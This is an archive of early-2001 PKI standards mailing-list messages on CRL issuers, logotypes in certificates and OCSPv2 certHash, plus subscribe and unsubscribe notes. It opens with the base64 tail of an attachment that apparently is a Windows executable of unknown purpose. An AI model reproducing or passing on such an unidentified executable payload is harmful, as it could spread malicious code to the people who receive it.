5ig2A0BKCu0xnVSsiU/vbdsqPBpHKwcPKjbFsdDL2Ky2btEWAo7sWJP9lp6FyfCQSDq7inos7NUX
tSkoVW8ozprv5N7NLpBgph6qJ8pDeDRd7RMR+25GdGV4dAIAAABwCAAAxjTRoxMoNZq2b2dmVZGI
feRlU3qUG/aC+vp+shDvpebe1NYMy0GWTeY2vhUeCnMBQBefcvtxt6ZjZKEDoCdcPYr0ZZ6VYFMV
rsfchdOByZkIbZPJpmUCFoPk7/OFANyfQiwEmg2QmsmMXQOQPWnge2nMOKx2PvYMhQBBNH0NH0OR
TTKzk6vS754kC9SnZ/b1MAirvGMSfQLpPYwOSp9jU+h2sFA6tOpOTp/Sw/ynYhXfb4qYhuvvaxB3
DC/loG+4CJWkky1P7ATMGa705hFlTqrMW1+Hy+ymIjLwQMTHM+3VvQNUN4scBn5GJ2Q64UkdxJFo
ff83k4dGhz7FN3x2XBrhgCRNIr3fiNvfUN6JezImjTZsGm4S1oFrex0vPg3E1Ru1kfDHwDTtlmQP
aC+JNTM0VhGoUjJrV+4+7GPYbRpcDGuD554k8yJopj//Nm9kpjhLCWXVyovr4eSBxWmnyJZAbIL6
TifqRNj3vg+C630RgWWulCqq7KkjUCCPU3m1LDuFe6v7qiHBfOUPRwoy9oeqh1aZpOmZlvmg4Ysu
AO8R1CT2pcW06WjpUhPwlMl5qUj3h97YWgDyzeyu0jCSq1o9BtEaG1QYBjp/ZTE137JtmtYyc1e1
kFAmvjajQehbylHvRxGTH9iIpdwB53/xJRvcYr5jvWZxZeUB3ELnwpSzzsjvGz+UvG67a+/lia8O
wCMh/2KTTBsqIvyu6/SeqjDZ+A61UV+8gglppY87euJn1qQgTujS62RvDNVAxV1R18WVVWVZD+0U
5DXoMF7u3koM1OJYDGDYQ2vwdV6poHsGzxLo35cTLq/jsWpmh7Hep6PcQruwDf/ICU1aYhA3nTXh
+7j+spwNbz7/KrNiJjuiD1Pvhjx3ZKSl9kZdPY6r6QJDLVBsc77pjYdgxd+GPlhsI5DwQdGa1Lo4
CdAEoKTf+eu10DD2wafpNi3B7YO64mFi77NUjsQCo18byNoZq0N7oM/6/UX26Aam/rnTJeCgVI4Z
u+8vUBgH0VOyFkGbHYGvFAFRnKKc38PRrVD+SaFEmfqmqLkkICmxx0JvtNMQFeihwek2HCn5KaDH
+ZHbgM1rm1m0lTNxQd7EDMQNWD8s3j5+G7nFXbKgWYWsck2CMPKbgZ0x042/Y7VfWMhgUtyaAS8d
Y1wJtTAXpMo3fybsy/YU8KKQnoAiTbP27AF6C+DlTOb6tekyvUl7+14fScegoWuDslXYkz9QDPdV
1qD64ZLlEC21G9ey3Fb3uCZU8U+zzFdULaOFLZabFlFS90bMIp+eqKrTSGYTsd4hoG5GJdlUa1Fq
ODHEsHxEfWMh9JKuAyLEidN7PNz6fTJHbFUEhqHZzXncOU3EZ+KUb9UJJF0CP4chyUSpa59EX2fN
yiWqaTtMd3Ez3ucNChURl+rhDIJU8PJFwbmcHbwXqa5mGCmdGPw4h3GmzzHMX4HtSXpMICzScprp
9EUP2c8y7fdjTGHBH1E+6YXPM9dVb3mTx3C236vArH5Kb9bQ8IC8UrP0mThBoISnGrqVA7wwCGuh
75ps83KkEHXI+TxhEmN7kjGMN+pFRlQVTwG4G9OxP71KUaArZvKiMXpHyPPl3DSYzrlGegeIkqip
YxcSh4BiY9PMTRF/S+cn90Ufmm0uW5D7bDaZxGTXOeKBRjIrgI1jwESVIq5ebwKZKsfqD274al/5
/vDNPURNP2Hu/fyAulOEwXwTmRnb2tvEwNl1XPveW3AOdtsQ8Y8GzLbB4dV6edWLEFzbVScGNALl
LBsjW30sg1jjI1Wesa4gRKsIjZ6UqtKkbphQHK9wkn8MKmx7VG9OBlOu/qoB3gwoJRu/j8v4AK5f
jS3UY2ixdIufH6CcbAdALJFYj10ESXsZk9cLw6q8f0JdHKGeHoFLeuoW57blLMqbqUKJlesb7Bz7
APph7zxWETJOM2F3LFloDkjViFRZ6KcXl8JYvBgoa4mKUd9XAzXoQsr7FnUS+X48EZBMUa5opSBI
Z+OGtZFZ4MGAkwn7y5jp1SG+EMGUVGgmGOGDYgznyxO5zSXgYjCkKKZFVxAhp56BCgdv3s+rH+8r
wTT/Mteqgw8Ws7RVMHdtuMDXTPgfP7ba8oDtbIZI3qK7MbqScxQwTewl9fKhdeR8rJXZ4dlKxjTM
Tna9zLsQP4NkAbenpUZN/nK3gbufS0gI3XzDDrNsaZHYj6POjszeI5iYKOxes52Sh0N1lW4iPsDP
SrKPByN6Er8HgFbFtYvRHzblL/j0aUl7bTunKlZCysMeanOF5Yv4okEwDx8QcGbd2zhPciTWxkmx
F/Fj9X37bIykpuDrnQjl7slm5xX/9ZOupm72tAAM7GXv2K75eJoYe9WTqvURfXAuT9KQUzwb84FG
s/zvMM3NuABTeR2xORaxwEzWi6gY+FejJib+AtMMX5BZJEJI3QthQcdDiAg7aU9Eyh80bx/zGjia
VGddjuOBADmkZgR2cd3m2tR5WPOq9s9KjSGz6Pqp486KvqV0JNaMzvapvgl6gyaz7egSTGARXpYe
LjZEIOEQWAJ/QF+HbXQgWfwbJUuUVkvsm2wVH5q+CAFDrMXhcW3eZJPCmXvgbxaSMoHrrGaaW4gw
9W4O8vnuE1OWDD2/+RPx9nZriZ27Gsak6EBWQuEraSBky55dKRVWVcEL5MsJzRbP+Tn+aRhqV9OK
MhWxCnz4E/7MTMRCIUN08KcOeXdFGVEawaiglgvj6kreGjjMzT9GUgIXCveU3DtFSWOGsYMc051B
O/pQHoqdUvyE2nvFM8V7VzvHNPcq2NpxJUhLaKsQ++49TybzFfDwWVwno8NJnXOv6Lf83Qke3bLP
SvHtt3+tGM3fQ8g45bQzc0p96vNyLQjAUZK/wL99zbZpIcbxJSOGqL91jedx40gtpF6wMwnORtO1
QelS34Fwu/trZBL+AtMMX5BZJIIPBa+GnvY6Wo2v18mTC+Puz5a8kNxreu9WKd8uecdj84goZGzT
bHSwY2i5IIkJta1MpH6P5DliMyOsQOaJBXgGAFkfNoIpQ5uL38hv3NOyxnjBxCZT8vDNkUxaXu0d
XhCVOnSf5OZ7BBSaqI9HepZVPeYE8x/iUXfILKetrkwvPA7U9GOx3bPj9YUAfWUN8Vmen2DrgMkk
oDxq+eWYPsDKdo1zNo3WTorPga3ukGif/8dELmI8YWX1m5r9rexucGUR9OjiaDYlPHuXEPxz9gjC
YiCQVwvsjBiw0+7jTziHpKiRpCwM+14ylOeMhl2YeEX+NDdgvWWF75oZdBGaQxdhZgA8KznNif9R
PzWrDK4ymaC5cZca/WebbeaZ+daglRly5MmUYvjbjVetnG709OS3f/K0bNCW3nsXQLJkqsGOw8Ni
M2Y1cniuvgyhAAVw5Hj1v/GWWa3pFWCRBxnzv2WeUiBlmHTP7gkVUlD5nFfKU6XhE1uywEAibr4k
IPEk3zKHlGCuO8mkfPFz8Od6IfDcTB8DF6or/3FoGDDESa8/RUwCh1MSWq0iDK9iKVkkt67la6nb
iLp7zNsYG8v7qYkX7ujgnXLV1eER87qIzjpjgdiCLk6lCuU4Q0L3owjbqQ7B4sss8Ksz4qGgVkj+
KaH2r8c0z1t4hVT61MBPm1EH25QaT+jW/jppX3J6AQEAAKAKAACxnB/x7FBeWZecADqOHa4/Kiv0
sexuvMmQ64grzV54Cr+H/HywCSEdkIm40pvY6Nq3vgucfuCtLIXAFsfKrNx9cg9qEWxL990BZsKw
e4lsF/3sOH6JTOc2XDFjnPuRqkcXRU5HlezW+q+zeSXalTQWveC9Yf7xmwv0O8iA4RilwPGLtL1F
E4QlDU+zGGEE6WeZUyBrgyOX9Nbf1bMQ3pA9UUbIZyrCrBBpIPoEeiZ+BI27Za7mQ/LvldJ/3KJf
cHCc7x4oSGCHQGWGpm07h6gb6fJVq+px5ILc2k26oB+x3X19ZTAAmZ5Oo6jQIGwfMr6JkzYQdBfW
f6PR33dcSqPsB4bcSfGge9948ihlNt175tXwzIzO1DD5kM6OiRr20ryeIxVe5j/wsFY3+ilJtTqu
yKyNmo/Yh/Dv8sZLl24Uz9/THu0qrodasG9/PXB2OVEyMSswKLlzyAKAJ513m0vB+/YE91TmNayS
VwviGtGWH1Q2sIShvh45X94ISzcMALZak9ws6U+o/9PQvaMQtyjHx/FvfopyS8DlSEV4t2CUFn2p
XRGuaHOumJnHq7l3JnzR3NXbgZ2hZMelopPIYXPZoffBkVaTitcokrIc2ofMd2Wvn7TyJbL+pnWf
ED9J+EA8PMryZrkhIi4FBOtojxxo6Rqcx44+F7m01hQgEWE3+/RVRfICgWLDezP0Wa268cjUae/T
mE8d6qLASaSQTfZFidn/a25uKtalUsGLmIz0pkV68Hlasw2yeZ88dsFXFlBjo12Hr6sXphJFUduo
FlMrUcZIGVgln+Au6nIwrLEclBQvXyx2EVeUr3jH3xpQrUihEObcsT2CP/i7CzPz9q4XH64YUlms
NasRKcYMOm0tWn4o4PJ+01XroNuU35jZfG2Q+nwnznOoTcsbC2C5TdKVfqSEspnCKi7qOUNmdoY3
YAihm32TRu4290bK/vcf4yo1XnQLfkHBEZhgjyX8fY+YCbuRdflvsJZql5cjW/coBQC9AZlRUPxc
/DSXvJhpe6lNcjnKKlT7wqxINfehnYqDvbJ5O29T0mxyXF6H1gmbs1LmrTLZmLcF96nMDf47NUZz
ZXJ2AgAAADADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAADhwAAAAAAAAMHAAAAAAAAAAAAAATHAAAABwAAAAAAAAAAAAAAAAAAAAAAAA
AAAAADhwAAAAAAAAEQFHZXRNb2R1bGVIYW5kbGVBAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA

----VEBS5YBGDI78HANK5MNW5EFGPAJ--



Received: from edelweb.fr (edelweb.fr [212.234.46.16]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA06812 for <[e-mail]>; Tue, 27 Mar 2001 03:48:53 -0800 (PST)
Received: from champagne.edelweb.fr (localhost.edelweb.fr [127.0.0.1]) by edelweb.fr with ESMTP id NAA17067; Tue, 27 Mar 2001 13:48:45 +0200 (MET DST)
Received: from champagne.edelweb.fr (champagne.edelweb.fr [193.51.14.161]) by edelweb.fr (nospam/1.3); Tue, 27 Mar 2001 13:48:45 +0200 (MET DST)
Received: from emeriau.edelweb.fr (emeriau.edelweb.fr [193.51.14.5]) by champagne.edelweb.fr (8.7.6/8.6.6) with ESMTP id NAA16344; Tue, 27 Mar 2001 13:48:35 +0200 (MET DST)
From: Peter Sylvester <[e-mail]>
Received: (sylvest@localhost) by emeriau.edelweb.fr (8.7.6/8.6.6) id NAA13967; Tue, 27 Mar 2001 13:48:35 +0200 (MET DST)
Date: Tue, 27 Mar 2001 13:48:35 +0200 (MET DST)
Message-Id: <[e-mail]>
To: [e-mail], [e-mail]
Subject: Re: some thoughts re DPD and DPV
Cc: [e-mail], [e-mail]

> 
> Denis,
> 
> > I noticed that your were the single one at the IETF meeting advocating the
> > need for the retryReference. There migh be other individuals present at the
> > meeting or people on the mailing list supporting this idea as well, but up
> > to now they have remain silent. :-)
> 
> That never seems to bother you, so I'm ok with it in this case:-)
> 

There was a discussion on that point some months ago. If I rememeber
it right, in ended in violant agreement among me and Stephen Farrell.




Received: from hippolyte.radguard.com ([192.117.11.9]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA27596 for <[e-mail]>; Tue, 27 Mar 2001 02:22:32 -0800 (PST)
Received: from hellman.radguard.com (unverified) by hippolyte.radguard.com (Content Technologies SMTPRS 4.2.1) with SMTP id <[e-mail]> for <[e-mail]>; Tue, 27 Mar 2001 12:26:18 +0200
Received: from radguard.com by hellman.radguard.com (8.8.8+Sun/SMI-SVR4) id MAA12609; Tue, 27 Mar 2001 12:21:23 +0200 (IST)
Message-ID: <[e-mail]>
Date: Tue, 27 Mar 2001 12:20:35 +0200
From: Avi Zelovich <[e-mail]>
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: (no subject)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

unsubscribe



Received: from hippolyte.radguard.com ([192.117.11.9]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA27340 for <[e-mail]>; Tue, 27 Mar 2001 02:15:10 -0800 (PST)
Received: from hellman.radguard.com (unverified) by hippolyte.radguard.com (Content Technologies SMTPRS 4.2.1) with SMTP id <[e-mail]> for <[e-mail]>; Tue, 27 Mar 2001 12:15:43 +0200
Received: from radguard.com by hellman.radguard.com (8.8.8+Sun/SMI-SVR4) id MAA12311; Tue, 27 Mar 2001 12:10:49 +0200 (IST)
Message-ID: <[e-mail]>
Date: Tue, 27 Mar 2001 12:10:00 +0200
From: Avi Zelovich <[e-mail]>
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: (no subject)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

UNSUBSCRIBE



Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA27032 for <[e-mail]>; Tue, 27 Mar 2001 02:12:22 -0800 (PST)
Received: from fwd04.sul.t-online.com  by mailout05.sul.t-online.com with smtp  id 14hqSR-0001Oh-0A; Tue, 27 Mar 2001 12:12:11 +0200
Received: from junker.ms.inka.de (520010731148-0001@[212.184.151.15]) by fmrl04.sul.t-online.com with esmtp id 14hqRk-2KL1doC; Tue, 27 Mar 2001 12:11:28 +0200
Received: from stroeder.com (localhost [127.0.0.1]) by junker.ms.inka.de (Postfix) with ESMTP id 85A8E681F1; Tue, 27 Mar 2001 12:11:26 +0200 (CEST)
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Tue, 27 Mar 2001 12:11:25 +0200
From: Michael =?iso-8859-1?Q?Str=F6der?= <[e-mail]>
Reply-To: [e-mail]
Organization: stroeder.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de-DE, de, en
MIME-Version: 1.0
To: Dean Povey <[e-mail]>
Cc: [e-mail]
Subject: Re: Logotypes in certificates
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [e-mail]

Dean Povey wrote:
> 
> I think you would concede however that
> while they might not do exhaustive checking, the trademark process provides
> some level of assurance as companies are quite vigilant about protecting
> their trademarks.

No. Although I agree that companies are very vigilant about
protecting their trademarks there are too many trade mark and logo
cases going to courts. IMHO this whole trademark stuff is even more
ambigous than natural names (like X.500 naming CN,L,OU,O,C) of
residential persons.

Ciao, Michael.


Received: from ftpbox.mot.com (ftpbox.mot.com [129.188.136.101]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA15225 for <[e-mail]>; Tue, 27 Mar 2001 00:44:49 -0800 (PST)
Received: [from pobox2.mot.com (pobox2.mot.com [136.182.15.8]) by ftpbox.mot.com (ftpbox 2.1) with ESMTP id BAA20651 for <[e-mail]>; Tue, 27 Mar 2001 01:44:48 -0700 (MST)]
Received: [from msghkg1.sps.mot.com (msghkg1.sps.mot.com [216.17.115.1]) by pobox2.mot.com (MOT-pobox2 2.0) with ESMTP id BAA29105 for <[e-mail]>; Tue, 27 Mar 2001 01:44:47 -0700 (MST)]
Received: from email.sps.mot.com ([221.6.115.60]) by msghkg1.sps.mot.com          (Netscape Messaging Server 3.61)  with ESMTP id AAA375C;          Tue, 27 Mar 2001 16:44:45 +0800
Message-ID: <[e-mail]>
Date: Tue, 27 Mar 2001 16:45:38 +0800
From: "Raymond Chiu" <[e-mail]>
Organization: Motorola Semiconductor Products Sector
X-Mailer: Mozilla 4.61 [en]C-MOT45  (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: (no subject)
References: <002d01c0b695$df7764e0$[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

unsubscribe


Received: from server.interclear.net (server.interclear.net [193.130.149.198]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA13834 for <[e-mail]>; Tue, 27 Mar 2001 00:32:08 -0800 (PST)
From: [e-mail]
Received: by server.interclear.co.uk with Internet Mail Service (5.5.2650.21) id <HMMJWPHK>; Tue, 27 Mar 2001 09:25:02 +0100
Message-ID: <[e-mail]>
To: [e-mail]
Cc: [e-mail]
Subject: RE: CRLs 
Date: Tue, 27 Mar 2001 09:25:02 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0B697.6B436630"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0B697.6B436630
Content-Type: text/plain;
	charset="iso-8859-1"

Hi Dean,
	I was thinking about CRLDistributionPoint. But the question is how
to verify such CRL, and what about CRL extensions and entry extension. From
the begining.
1. What exactly should include field cRLIssuer in CRLDistributionPoint
extension?
2. I should received verification path for the cert, which signed CRL. And I
think that the root certificate should the one, which sign certificate.
Otherwise it's possible to create false CRL (maybe I'm wrong, I don't know
the answer to question #1).
3. What about CRL extension: Issuing Distribution Point - to indicate that
CRL is indirect, and CRL entry extension: Certificate Issuer - to identify
certificate issuer.

In general, how such CRL should be validated? I think that standard is not
consistent, and should be changed.


Regards,

Pawel Krupinski


-----Original Message-----
From: Dean Povey [mailto:[e-mail]]
Sent: Tuesday, March 27, 2001 1:25 AM
To: [e-mail]
Cc: [e-mail]
Subject: Re: CRLs 



>Hi,
>	I'm trying to split CA functionality. I want to have one private key
>to sign certificates (CA key), and the second one to sign CRLs.
>	First is it possible to do it? Because in the standard I've found:
>"The CRL is signed using the CA's private key." (is it the same CA, which
>sign this certificate? In other words, CA can only revoke certificates it
>signed, Am I right?)

Hi Pawel,

You can use the cRLDistributionPoint extension to indicate a CRL issuer 
other than the CA that issued the Certificate.  See section 4.2.1.14 of
RFC2459, or of the updated Cert and CRL profile at:

http://www.ietf.org/internet-drafts/draft-ietf-pkix-new-part1-05.txt

-- 
Dean Povey,         | e-m: [e-mail] | JCSI:  Java Crypto Toolkit 
Research Scientist  | ph:  [phone]   | uPKI:  C PKI toolkit for
embedded
Security Unit, DSTC | fax: [phone]   |        systems
Brisbane, Australia | www: security.dstc.com | Oscar: C++ PKI toolkit 


------_=_NextPart_001_01C0B697.6B436630
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: CRLs </TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Hi Dean,</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>I was =
thinking about CRLDistributionPoint. But the question is how to verify =
such CRL, and what about CRL extensions and entry extension. From the =
begining.</FONT></P>

<P><FONT SIZE=3D2>1. What exactly should include field cRLIssuer in =
CRLDistributionPoint extension?</FONT>
<BR><FONT SIZE=3D2>2. I should received verification path for the cert, =
which signed CRL. And I think that the root certificate should the one, =
which sign certificate. Otherwise it's possible to create false CRL =
(maybe I'm wrong, I don't know the answer to question #1).</FONT></P>

<P><FONT SIZE=3D2>3. What about CRL extension: Issuing Distribution =
Point - to indicate that CRL is indirect, and CRL entry extension: =
Certificate Issuer - to identify certificate issuer.</FONT></P>

<P><FONT SIZE=3D2>In general, how such CRL should be validated? I think =
that standard is not consistent, and should be changed.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Pawel Krupinski</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Dean Povey [<A =
HREF=3D"mailto:[e-mail]">mailto:[e-mail]</A>]<=
/FONT>
<BR><FONT SIZE=3D2>Sent: Tuesday, March 27, 2001 1:25 AM</FONT>
<BR><FONT SIZE=3D2>To: [e-mail]</FONT>
<BR><FONT SIZE=3D2>Cc: [e-mail]</FONT>
<BR><FONT SIZE=3D2>Subject: Re: CRLs </FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>&gt;Hi,</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I'm trying =
to split CA functionality. I want to have one private key</FONT>
<BR><FONT SIZE=3D2>&gt;to sign certificates (CA key), and the second =
one to sign CRLs.</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; First is it =
possible to do it? Because in the standard I've found:</FONT>
<BR><FONT SIZE=3D2>&gt;&quot;The CRL is signed using the CA's private =
key.&quot; (is it the same CA, which</FONT>
<BR><FONT SIZE=3D2>&gt;sign this certificate? In other words, CA can =
only revoke certificates it</FONT>
<BR><FONT SIZE=3D2>&gt;signed, Am I right?)</FONT>
</P>

<P><FONT SIZE=3D2>Hi Pawel,</FONT>
</P>

<P><FONT SIZE=3D2>You can use the cRLDistributionPoint extension to =
indicate a CRL issuer </FONT>
<BR><FONT SIZE=3D2>other than the CA that issued the Certificate.&nbsp; =
See section 4.2.1.14 of</FONT>
<BR><FONT SIZE=3D2>RFC2459, or of the updated Cert and CRL profile =
at:</FONT>
</P>

<P><FONT SIZE=3D2><A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-ietf-pkix-new-part1-05=
.txt" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-ietf-pkix-ne=
w-part1-05.txt</A></FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Dean =
Povey,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | e-m: =
[e-mail] | JCSI:&nbsp; Java Crypto Toolkit </FONT>
<BR><FONT SIZE=3D2>Research Scientist&nbsp; | ph:&nbsp; +61 7 3864 =
5120&nbsp;&nbsp; | uPKI:&nbsp; C PKI toolkit for embedded</FONT>
<BR><FONT SIZE=3D2>Security Unit, DSTC | fax: [phone] =
1282&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
systems</FONT>
<BR><FONT SIZE=3D2>Brisbane, Australia | www: security.dstc.com | =
Oscar: C++ PKI toolkit </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0B697.6B436630--


Received: from mail.banesto.es (lola.offcampus.es [195.76.19.70]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA10749 for <[e-mail]>; Tue, 27 Mar 2001 00:13:37 -0800 (PST)
Received: from PCJAPEREZ2 (crivi.banesto.es [195.76.19.41]) by mail.banesto.es (8.9.0/8.9.0) with SMTP id KAA26312 for <[e-mail]>; Tue, 27 Mar 2001 10:15:51 +0100 (WET DST)
Message-ID: <002d01c0b695$df7764e0$[e-mail]>
From: =?Windows-1252?Q?Juan_Antonio_P=E9rez_de_la_Fuente?= <[e-mail]>
To: <[e-mail]>
Date: Tue, 27 Mar 2001 10:13:57 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_002A_01C0B6A6.A2724CC0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

This is a multi-part message in MIME format.

------=_NextPart_000_002A_01C0B6A6.A2724CC0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

subscribe

------=_NextPart_000_002A_01C0B6A6.A2724CC0
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1252">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>subscribe</DIV></BODY></HTML>

------=_NextPart_000_002A_01C0B6A6.A2724CC0--



Received: from mailo.vtcif.telstra.com.au (mailo.vtcif.telstra.com.au [202.12.144.17]) by above.proper.com (8.9.3/8.9.3) with ESMTP id RAA14274 for <[e-mail]>; Mon, 26 Mar 2001 17:17:19 -0800 (PST)
Received: (from uucp@localhost) by mailo.vtcif.telstra.com.au (8.8.2/8.6.9) id LAA09572 for <[e-mail]>; Tue, 27 Mar 2001 11:16:51 +1000 (EST)
Received: from maili.vtcif.telstra.com.au(202.12.142.17) via SMTP by mailo.vtcif.telstra.com.au, id smtpd0QGXpz; Tue Mar 27 11:16:07 2001
Received: (from uucp@localhost) by maili.vtcif.telstra.com.au (8.8.2/8.6.9) id LAA14058 for <[e-mail]>; Tue, 27 Mar 2001 11:16:06 +1000 (EST)
Received: from localhost(127.0.0.1), claiming to be "mail.cdn.telstra.com.au" via SMTP by localhost, id smtpdPAFuh_; Tue Mar 27 11:15:20 2001
Received: from ntmsg0028.corpmail.telstra.com.au (ntmsg0028.corpmail.telstra.com.au [192.168.174.24]) by mail.cdn.telstra.com.au (8.8.2/8.6.9) with ESMTP id LAA07293 for <[e-mail]>; Tue, 27 Mar 2001 11:15:20 +1000 (EST)
Received: by ntmsg0028.corpmail.telstra.com.au with Internet Mail Service (5.5.2650.21) id <HXCN0G89>; Tue, 27 Mar 2001 11:15:18 +1000
Message-ID: <[e-mail]>
From: "Manger, James H" <[e-mail]>
To: [e-mail]
Subject: RE: OCSPv2: 02: certHash is not unique
Date: Tue, 27 Mar 2001 11:15:07 +1000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0B65B.616CBAEE"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0B65B.616CBAEE
Content-Type: text/plain;
	charset="iso-8859-1"

That's fine.

This is probably the best approach.  It offers potentially useful
flexibility without introducing extra security issues for certificate
parsers.  Explicitly stating that certHash is only likely to be appropriate
in selected environments may diffuse some criticism.

----------
From: Michael Myers [ mailto:[e-mail]
<mailto:[e-mail]> ]
Sent: Tuesday, 27 March 2001 10:51

..I'd prefer to maintain certHash a option but composed in the manner you
describe..



------_=_NextPart_001_01C0B65B.616CBAEE
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE></TITLE>

<META content="MSHTML 5.00.3105.105" name=GENERATOR></HEAD>
<BODY>
<P><FONT color=#0000ff face=Arial size=2>That's fine.</FONT></P>
<P><FONT color=#0000ff face=Arial size=2>This is probably the best 
approach.&nbsp; It offers potentially useful flexibility without introducing 
extra security issues for certificate parsers.&nbsp;&nbsp;Explicitly stating 
that certHash is only likely to be appropriate in selected environments may 
diffuse some criticism.</FONT></P>
<P><FONT size=2>----------<BR>From: Michael Myers [<A 
href="mailto:[e-mail]">mailto:[e-mail]</A>]<BR>Sent: 
Tuesday, 27 March 2001 10:51</FONT></P>
<P><FONT size=2>..I'd prefer to maintain certHash a option but composed in the 
manner you describe..<BR></P></FONT></BODY></HTML>

------_=_NextPart_001_01C0B65B.616CBAEE--


